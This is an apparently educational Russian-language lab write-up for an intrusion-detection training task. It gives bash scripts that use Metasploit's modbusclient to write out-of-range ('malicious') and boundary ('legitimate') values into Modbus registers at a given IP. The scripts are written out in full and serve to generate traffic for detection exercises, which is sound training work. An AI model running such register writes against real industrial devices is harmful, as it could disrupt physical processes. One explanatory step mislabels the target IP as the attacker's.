

MODBUS-TASK-5: from zero to pi

«Исходники» создания трафика находятся в папке проекта по пути /tasks/modbus/5

<https://git.miem.hse.ru/798/ids-wsr-workout/-/tree/master/tasks/modbus/5>

```
(kali㉿kali)-[~/../shared_kali/tasks/modbus/5]
$ ls -lah
total 16K
drwxr-xr-x 2 kali kali 4.0K Dec 28 13:48 .
drwxr-xr-x 7 kali kali 4.0K Dec 28 11:41 ..
-rw-r--r-- 1 kali kali 525 Dec 28 13:33 5_bad
-rw-r--r-- 1 kali kali 976 Dec 28 13:39 5_good
```

Для запуска скриптов трафика 5_bad и 5_good необходимо передать одну переменную – ip адрес. Пример: `bash 5_bad 192.168.19.1` и `bash 5_good 192.168.19.1`

5_bad bash скрипт для запуска вредоносного трафика с использованием Metasploit.

Он доступен по ссылке: <https://git.miem.hse.ru/798/ids-wsr-workout/-/tree/master/tasks/modbus/4>

```
printf 'y' | msfconsole -q -x \
    "auxiliary/scanner/scada/modbusclient; \
    set ACTION WRITE_REGISTER; \
    set DATA_ADDRESS 0; \
    set DATA 181; \
    set RHOSTS $1; \
    run; \
    set DATA_ADDRESS 1; \
    run; \
    set ACTION WRITE_REGISTERS; \
    set DATA_ADDRESS 0; \
    set DATA_REGISTERS 0,1000,2; \
    run; \
    set DATA_REGISTERS 188,10,2; \
    run; \
    exit -y;"
```

- 1) Используется утилита Metasploit modbusclient.
- 2) Выставляются функции записи одного или сразу нескольких регистров.
- 3) Выставляю номер регистра, куда задание установило ограничение на запись определённых значений.
- 4) Сама информация, вредоносная по заданию.
- 5) Устанавливаю ip атакующей машины.

5_good bash скрипт для запуска легитимного (по заданию) трафика.

```
1) printf 'y' | msfconsole -q -x \
    "auxiliary/scanner/scada/modbusclient; \
    set ACTION WRITE_REGISTER; \
    set DATA_ADDRESS 0; \
    set DATA 180; \
    set RHOSTS $1; \
    run; \
    set DATA_ADDRESS 1; \
    run; \
    set ACTION WRITE_REGISTERS; \
    set DATA_ADDRESS 0; \
    set DATA_REGISTERS 0,180,2; \
    run; \
    exit -y;"
```

```
set DATA_REGISTERS 180,10,2; \  
run; \  
set UNIT_NUMBER 255; \  
set ACTION WRITE_REGISTER; \  
set DATA_ADDRESS 0; \  
set DATA 180; \  
set RHOSTS $1; \  
run; \  
set DATA_ADDRESS 1; \  
run; \  
set ACTION WRITE_REGISTERS; \  
set DATA_ADDRESS 0; \  
set DATA_REGISTERS 0,180,2; \  
run; \  
set DATA_REGISTERS 180,10,2; \  
run; \  
exit -y;"
```

Здесь проверяются крайние допустимые значения регистров, в которые можно записывать и другой крайний номер устройства.